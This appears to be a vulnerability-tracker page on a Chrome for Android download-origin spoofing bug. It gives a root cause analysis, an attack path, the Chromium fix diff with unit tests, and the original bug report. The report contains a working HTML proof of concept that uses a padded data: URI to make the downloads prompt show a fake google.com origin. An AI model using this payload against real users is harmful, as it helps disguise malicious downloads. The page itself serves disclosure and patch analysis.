Low watch CVSS 6.5 chrome Spoofing 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactIncorrect security UI in Downloads
DescriptionIncorrect security UI in Downloads
ComponentDownloads
Bug ClassSpoofing
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker473118648
Fix commit9286eb828b8e (chromium/src) +184/-4
CWECWE-451
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
CISA KEVNot listed
CreditedAbhishek Kumar
Reported2026-01-03 · bounty $3000 (per vendor advisory)
Fix landed2026-01-20 (public git)
Disclosed2026-03-10
Patch gap49 days — fix public in source before the advisory

Background

`DownloadUtils.formatUrlForDisplayInNotification`
An Android (Clank) Java utility in components/browser_ui/util that turns a download’s GURL into a short string shown in downloads UI surfaces such as notifications, or returns null to omit it.
`UrlFormatter.formatUrlForSecurityDisplay`
The URL formatter for security-sensitive display; with SchemeDisplay.OMIT_HTTP_AND_HTTPS it is designed to surface the meaningful origin of web (http/https) URLs.
Opaque origin
The origin of URLs such as data: or unregistered/non-standard schemes (e.g. asdf://foo.bar.test), which has no meaningful scheme/host/port tuple. org.chromium.url.Origin.create(url).isOpaque() returns true for these.
eTLD+1 fallback
When the formatted URL exceeds the character limit, the function falls back to UrlUtilities.getDomainAndRegistry() on the origin, or to the origin’s raw spec when there is no host.

Root Cause Analysis

DownloadUtils.formatUrlForDisplayInNotification previously rejected only empty or invalid URLs (GURL.isEmptyOrInvalid(url)) and then passed every other URL, including non-standard and data: URLs, to UrlFormatter.formatUrlForSecurityDisplay. If that string fit within limit, it was returned directly. The commit message says an earlier fix (crrev.com/c/6701188) only corrected the too-long fallback path for hostless schemes. For non-standard schemes formatUrlForSecurityDisplay() itself “may produce misleading results”, so attacker-chosen text in such a URL could be shown in downloads UI as if it identified the download source. The violated invariant is that the downloads UI shows only a source string that meaningfully identifies an origin.

The fix adds a check before any formatting: if (Origin.create(url).isOpaque()) return null;, so opaque-origin URLs skip both the formatter and the fallback path and the UI omits the URL entirely. The remaining changes rename the local origin to originAsUrl without changing behavior. The new DownloadUtilsTest.java is cut off in the diff shown, but its visible cases assert null for data:text/plain,Hello and asdf://foo.bar.test.

Key insight
The download-source formatter trusted formatUrlForSecurityDisplay() output for URLs that have no real origin, letting arbitrary URL text appear as the download source. The fix tightens the input check and returns null for any opaque-origin URL, so no text is shown for such downloads.

Attack Path

  1. Craft a non-standard download URL The attacker builds a download whose URL has an opaque origin (e.g. a data: URL or a non-standard scheme) and whose text is chosen to look like a trusted site when formatted.
  2. Trigger the download on Android Chrome A web page the victim visits starts the download (inferred: for example through a link with a download attribute; any user-gesture requirement is not shown in the diff).
  3. Formatter output shown as source The unpatched formatUrlForDisplayInNotification passes the URL to formatUrlForSecurityDisplay() and, when the result fits limit, returns it for display in downloads UI.
  4. User misled about provenance The notification or downloads surface shows a misleading source string, which may lead the user to trust and open the file (inferred).

Impact Assessment

A web attacker can make Android Chrome’s downloads UI show a misleading source/URL string for a file, a security-UI spoofing issue with no memory corruption. Preconditions: the victim uses Chrome on Android (the changed code is the Clank Java downloads utility), visits attacker content that starts a download from an opaque-origin URL, and relies on the displayed source string. The vendor advisory rates it low severity (“Incorrect security UI in Downloads”); the advisory data provided does not report in-the-wild exploitation.

Files Changed

  • components/browser_ui/util/android/BUILD.gn
  • components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
  • components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java

Audit Directions

  • Other callers of `formatUrlForSecurityDisplay` on arbitrary schemes
    Review Android and desktop UI (permission prompts, page info, external protocol dialogs, share sheets, download bubbles) that pass non-http(s) URLs to the security formatter and show the result as an origin, and check for an opaque-origin guard.
  • Fallback branches that show raw specs
    Code like the getPossiblyInvalidSpec() fallback that shows a URL’s raw text when no host exists can inject attacker-controlled strings into trusted UI. Prefer omitting the text or showing a precursor origin.
  • Desktop/iOS download source formatting parity
    Check that the equivalent download-source formatting on other platforms also suppresses or correctly represents opaque origins (data:, blob: with opaque precursor, custom schemes).
From 9286eb828b8e02637eb59ee32d38fdb5a7fa7585 Mon Sep 17 00:00:00 2001
From: Lily Chen <chlily@chromium.org>
Date: Tue, 20 Jan 2026 11:58:34 -0800
Subject: [PATCH] Android downloads UI: Do not display invalid or non-standard URLs

This fixes a util function used for formatting a download URL to display
to the user in various downloads UI surfaces in Clank.

In crrev.com/c/6701188, we previously fixed the fallback logic that
kicks in when formatUrlForSecurityDisplay() produces a string that is
too long. For certain non-standard URL schemes that do not have a host,
that CL made us fall back to the text of the URL itself rather than
trying to parse out an eTLD+1 (which is not meaningful when there is no
host).

However, that previous CL did not account for edge cases in which
formatUrlForSecurityDisplay() itself may produce misleading results for
non-standard URL schemes.

In this CL, we stop attempting to even call
formatUrlForSecurityDisplay() for such non-standard URLs, and we do not
display any fallback. Instead, we always omit the download URL/origin if
it is an opaque origin. Even if there may be some textual representation
of the URL available, in these cases it is not necessarily meaningful to
the user and may allow misleading strings to be injected, so prefer to
omit it.

Adds unit tests for this formatting util function.

Change-Id: I2231d1527def0480710a7120ae861ac3556fd0c0
Bug: 473118648
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7476846
Commit-Queue: Lily Chen <chlily@chromium.org>
Reviewed-by: David Trainor <dtrainor@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1571795}
---

diff --git a/components/browser_ui/util/android/BUILD.gn b/components/browser_ui/util/android/BUILD.gn
index 2843120..a331eaa 100644
--- a/components/browser_ui/util/android/BUILD.gn
+++ b/components/browser_ui/util/android/BUILD.gn
@@ -77,6 +77,7 @@
     "java/src/org/chromium/components/browser_ui/util/BitmapCacheTest.java",
     "java/src/org/chromium/components/browser_ui/util/ComposedBrowserControlsVisibilityDelegateTest.java",
     "java/src/org/chromium/components/browser_ui/util/DimensionCompatUnitTest.java",
+    "java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java",
     "java/src/org/chromium/components/browser_ui/util/TimeTextResolverUnitTest.java",
   ]
   deps = [
@@ -86,9 +87,12 @@
     "//base:base_junit_test_support",
     "//base/test:test_support_java",
     "//cc:cc_java",
+    "//components/embedder_support/android:util_java",
+    "//components/url_formatter/android:url_formatter_java",
     "//content/public/android:content_java",
     "//third_party/junit",
     "//third_party/mockito:mockito_java",
+    "//url:gurl_java",
   ]
 }
 
diff --git a/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
index c4821dff..28593b00 100644
--- a/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
+++ b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
@@ -19,6 +19,7 @@
 import org.chromium.components.url_formatter.SchemeDisplay;
 import org.chromium.components.url_formatter.UrlFormatter;
 import org.chromium.url.GURL;
+import org.chromium.url.Origin;
 
 /** A class containing some utility static methods. */
 @NullMarked
@@ -93,6 +94,9 @@
      * Adjusts a URL for display to the user in a text view subject to char limits. Could elide
      * parts the URL if it is too long as per readability and security aspects.
      *
+     * <p>This returns null for invalid or non-standard URLs, or if there is no suitable way to
+     * format the URL within the character limit.
+     *
      * @param url The full URL.
      * @param limit Character limit.
      * @return The text to display, or null if the input was invalid or cannot be shortened enough.
@@ -101,6 +105,17 @@
             @Nullable GURL url, int limit) {
         if (GURL.isEmptyOrInvalid(url)) return null;
 
+        // Don't attempt to format and display invalid or non-standard URLs which have opaque
+        // origins. For such URLs (e.g. "data:" scheme URLs), it is not quite meaningful to display
+        // (parts of) the URL in the UI, unlike normal "webby" schemes ("http" and "https") where an
+        // eTLD+1 may be meaningfully extracted from the host part to help the user make a security
+        // decision about the download.
+        // TODO(chlily): Consider exposing url::Origin::Resolve() to JNI and using it to get the
+        // precursor origin to display to the user in cases where the origin itself is opaque.
+        if (Origin.create(url).isOpaque()) {
+            return null;
+        }
+
         String formattedUrl =
                 UrlFormatter.formatUrlForSecurityDisplay(url, SchemeDisplay.OMIT_HTTP_AND_HTTPS);
         if (!TextUtils.isEmpty(formattedUrl) && formattedUrl.length() <= limit) {
@@ -110,12 +125,12 @@
         // The formatted URL is unsuitable. One possible fallback is eTLD+1, but we should be
         // careful to only parse for eTLD+1 if the origin has a host portion (some URL schemes
         // don't).
-        GURL origin = url.getOrigin();
+        GURL originAsUrl = url.getOrigin();
         String fallback =
-                !GURL.isEmptyOrInvalid(origin) && !origin.getHost().isEmpty()
+                !GURL.isEmptyOrInvalid(originAsUrl) && !originAsUrl.getHost().isEmpty()
                         ? UrlUtilities.getDomainAndRegistry(
-                                origin.getSpec(), /* includePrivateRegistries= */ true)
-                        : origin.getPossiblyInvalidSpec();
+                                originAsUrl.getSpec(), /* includePrivateRegistries= */ true)
+                        : originAsUrl.getPossiblyInvalidSpec();
         if (!TextUtils.isEmpty(fallback) && fallback.length() <= limit) {
             return fallback;
         }
diff --git a/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java
new file mode 100644
index 0000000..5a73f63
--- /dev/null
+++ b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java
@@ -0,0 +1,161 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.components.browser_ui.util;
+
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyString;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import org.chromium.base.test.BaseRobolectricTestRunner;
+import org.chromium.components.embedder_support.util.UrlUtilities;
+import org.chromium.components.embedder_support.util.UrlUtilitiesJni;
+import org.chromium.components.url_formatter.SchemeDisplay;
+import org.chromium.components.url_formatter.UrlFormatter;
+import org.chromium.url.GURL;
+
+/** Unit tests for {@link DownloadUtils}. */
+@RunWith(BaseRobolectricTestRunner.class)
+public class DownloadUtilsTest {
+    @Rule public MockitoRule mMockitoRule = MockitoJUnit.rule();
+
+    @Mock private UrlUtilities.Natives mUrlUtilitiesJniMock;
+
+    @Before
+    public void setUp() {
+        UrlUtilitiesJni.setInstanceForTesting(mUrlUtilitiesJniMock);
+        GURL.ensureNativeInitializedForGURL();
+    }
+
+    @Test
+    public void testFormatUrlForDisplayInNotification_InvalidOrEmptyUrl() {
+        Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(null, 100));
+        GURL emptyUrl = new GURL("");
+        Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(emptyUrl, 100));
+        GURL invalidUrl = new GURL("foo");
+        Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(invalidUrl, 100));
+    }
+
+    @Test
+    public void testFormatUrlForDisplayInNotification_OpaqueOrigin() {
+        GURL dataUrl = new GURL("data:text/plain,Hello");
+        Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(dataUrl, 100));
+        GURL bogusSchemeUrl = new GURL("asdf://foo.bar.test");
+        Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(bogusSchemeUrl, 100));
+    }
+
+    @Test
+    public void testFormatUrlForDisplayInNotification_FitsUnderLimit() {
+        String urlSpec = "https://example.test/path?foo=bar";
+        GURL url = new GURL(urlSpec);
+        useMockGetDomainAndRegistry(url);
+        String expectedFromUrlFormatter = "example.test";
+
+        String urlFormatterOutput =
+                UrlFormatter.formatUrlForSecurityDisplay(url, SchemeDisplay.OMIT_HTTP_AND_HTTPS);
+        Assert.assertEquals(expectedFromUrlFormatter, urlFormatterOutput);
+
+        String formatted = DownloadUtils.formatUrlForDisplayInNotification(url, urlSpec.length());
+        Assert.assertEquals(expectedFromUrlFormatter, formatted);
+    }
+
Loading diff…

Original Bug Report

reported by x4...@gmail.com

Download origin spoofing using hostname in data uri.

Steps to reproduce the problem

  1. Host the code:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Download & Fullscreen on Keypress</title>
</head>
<body>
  <center><h2>POC by Chigorin!</h2></center>
  <input type="text" id="triggerInput">

  <script>
    document.getElementById('triggerInput').addEventListener('click', function() {
      // request fullscreen
 setTimeout(function() {
        openWin();
 }, 500);
 window.open('https://www.google.com', '_blank');
    }, { once: false }); // Use { once: true } to ensure it only fires once

    // Download helper
    function Puf(uri, name) {
      const link = document.createElement("a");
      link.href = uri;
      link.download = name;
      document.body.appendChild(link);
      link.click();
      document.body.removeChild(link);
    }

    // Kick off your “APK” download
    function openWin() {
      Puf(
        "data:https://google.com/                                                                                                                                                                                                                       application/x-msdownload;base64,ZXN0dGVzdGVzdHRlc3Q=",
        "google.mp4"
      );
    }

  </script>
  

  
</body>
</html>
  1. Click on the input box and wait for the prompt.
  2. Notice the prompt origin contains data:https://google.com

==Note: you can change the file type to anything, even malicious like apk and the prompt will contain fake origin only thing matters is the payload you embed which is after a comma==

Problem Description

The download origin is a point of trust for opening any file and in this case that trust is broken by spoofed origin allowing the victim to click and open the malicious file giving access to the attacker.

Summary

Download origin spoofing using hostname in data uri.

Custom Questions

Reporter credit:

Abhishek Kumar

Additional Data

Category: Security
Chrome Channel: Stable
Regression: Yes \

View on issue tracker